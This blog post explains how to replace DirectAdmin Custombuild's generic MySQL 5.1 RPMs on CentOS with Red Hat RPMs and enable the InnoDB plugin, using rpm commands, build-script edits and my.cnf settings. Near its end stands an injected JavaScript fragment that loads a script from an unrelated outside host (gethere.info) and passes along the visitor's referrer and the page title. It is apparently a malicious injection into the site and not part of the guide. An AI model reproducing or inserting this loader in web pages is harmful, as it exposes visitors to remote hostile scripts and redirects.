For some reason, under CentOS, Custombuild in DirectAdmin use “MySQL – Generic Linux (glibc 2.3) (x86, 64-bit) RPM file” instead of MySQL RPM files for Redhat. The different for these 2 packages are that, RPM for Redhat contain “ha_innodb_plugin.so” but not in Generic RPM package.

Compare files in Plugin folder on two different RPM.

 

MySQL Linux Generic RPM
 

MySQL Linux Redhat RPM
Now, there are 2 methods to use Redhat RPM package.

WARNING : Before doing any steps below…. Please BACKUP your database.

First Method : By download and do manual install of the package.

1.1 Download 4 packages below from MySQL website :

MySQL-server-community-5.1.50-1.rhel5.x86_64.rpm
MySQL-client-community-5.1.50-1.rhel5.x86_64.rpm
MySQL-devel-community-5.1.50-1.rhel5.x86_64.rpm
MySQL-shared-community-5.1.50-1.rhel5.x86_64.rpm

1.2 Install it.

# rpm -Uhv --nodeps MySQL-shared-community-5.1.50-1.rhel5.x86_64.rpm --force
# rpm -Uhv --nodeps MySQL-client-community-5.1.50-1.rhel5.x86_64.rpm --force
# rpm -Uhv --nodeps MySQL-devel-community-5.1.50-1.rhel5.x86_64.rpm --force
# rpm -Uhv --nodeps MySQL-server-community-5.1.50-1.rhel5.x86_64.rpm --force

Second Method : By modify custombuild script and let script do it for you. (Note that the script I modify is version 1.2.13)

2.1 Download 4 packages below from MySQL website and put it in /usr/local/directadmin/custombuild/mysql

MySQL-server-community-5.1.50-1.rhel5.x86_64.rpm
MySQL-client-community-5.1.50-1.rhel5.x86_64.rpm
MySQL-devel-community-5.1.50-1.rhel5.x86_64.rpm
MySQL-shared-community-5.1.50-1.rhel5.x86_64.rpm

2.2 Modify buildscript :

# cd /usr/local/directadmin/custombuild
# nano -w build

2.3 Modify code from :

MYSQLURL=${WEBPATH_SERVICES}/all/mysql/64-bit
MYSQL_EXT=glibc23.x86_64
fi

MYSQLCLIENT=MySQL-client-${MYSQL_VER}-${MYSQL_REL}.$MYSQL_EXT.rpm
MYSQLDEVEL=MySQL-devel-${MYSQL_VER}-${MYSQL_REL}.$MYSQL_EXT.rpm
MYSQLSERVER=MySQL-server-${MYSQL_VER}-${MYSQL_REL}.$MYSQL_EXT.rpm
MYSQLSHARED=MySQL-shared-${MYSQL_VER}-${MYSQL_REL}.$MYSQL_EXT.rpm

To

MYSQLURL=${WEBPATH_SERVICES}/all/mysql/64-bit
MYSQL_EXT=rhel5.x86_64
fi

MYSQLCLIENT=MySQL-client-community-${MYSQL_VER}-${MYSQL_REL}.$MYSQL_EXT.rpm
MYSQLDEVEL=MySQL-devel-community-${MYSQL_VER}-${MYSQL_REL}.$MYSQL_EXT.rpm
MYSQLSERVER=MySQL-server-community-${MYSQL_VER}-${MYSQL_REL}.$MYSQL_EXT.rpm
MYSQLSHARED=MySQL-shared-community-${MYSQL_VER}-${MYSQL_REL}.$MYSQL_EXT.rpm

2.4 Run custombuild script :

# ./build mysql

3. After install Redhat RPM package. modify MySQL to enable InnoDB Plugin :

# nano -w /etc/my.cnf

Add lines below under [mysqld] section:

ignore-builtin-innodb
plugin-load=innodb=ha_innodb_plugin.so;innodb_trx=ha_innodb_plugin.so;innodb_locks=ha_innodb_plugin.so;innodb_lock_waits=ha_innodb_plugin.so;innodb_cmp=ha_innodb_plugin.so;innodb_cmp_reset=ha_innodb_plugin.so;innodb_cmpmem=ha_innodb_plugin.so;innodb_cmpmem_reset=ha_innodb_plugin.so

If you want to use new features provided by InnoDB Plugin. You may consider add these 2 lines also :

innodb_file_format=barracuda
innodb_file_per_table=1

4. Restart mysql and check if InnoDB Plugin is working :

# /etc/init.d/mysqld restart
# mysql
# show plugins;

The screen below should be shown :

Now, you got your InnoDB Plugin working 🙂

Note 1 : If you want to remove old RPM package do the following:

Note 1.1 – Check what MySQL package is installed :

# rpm -qa | grep -i '^mysql-'

Note 1.2 – Remove old package. (I can’t guarantee if this step will delete any data or not. But I did it and it didn’t affect any of my data.)

# rpm --nodeps -ev MySQL-server-5.1.50-1.glibc23
# rpm --nodeps -ev MySQL-client-5.1.50-1.glibc23
# rpm --nodeps -ev MySQL-shared-5.1.50-1.glibc23
# rpm --nodeps -ev MySQL-devel-5.1.50-1.glibc23

Note 2 : Don’t even think about to extract just Innodb Plugin (ha_innodb_plugin.so.0) from Redhat package to use on Generic Linux package. MySQL will start and looks like everything work perfect. But if you start to deal anything with InnoDB, you will always get error about “Lost connection”. Also, I did try to compile InnoDB Plugin from source code. That didn’t work either. I can’t even start MySQL at all.

Source : http://dev.mysql.com/doc/refman/5.1/en/replacing-builtin-innodb.html

UPDATE (11 Jan 2011) : If install DirectAdmin with MySQL 5.5, there is no need to follow this guide anymore. Just update normally using Custombuild. Then add 3 lines and comment out some setting that doesn’t need anymore. See below :

innodb_file_format=Barracuda
innodb_file_format_max=Barracuda
innodb_file_per_table=1
#default_storage_ENGINE=MyISAM
#default_table_type = INNODB
#ignore-builtin-innodb
#plugin-load=innodb=ha_innodb_plugin.so;innodb_trx=ha_innodb_plugin.so;innodb_locks=ha_innodb_plugin.so;innodb_lock_waits=ha_innodb_plugin.so;innodb_cmp=ha_innodb_plugin.so;innodb_cmp_reset=ha_innodb_plugin.so;innodb_cmpmem=ha_innodb_plugin.so;innodb_cmpmem_reset=ha_innodb_plugin.so

Also, if there is any error trying to start MySQL, check your my.cnf. If there is “skip-locking”, just change it to “skip-external-locking”.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Incoming search terms: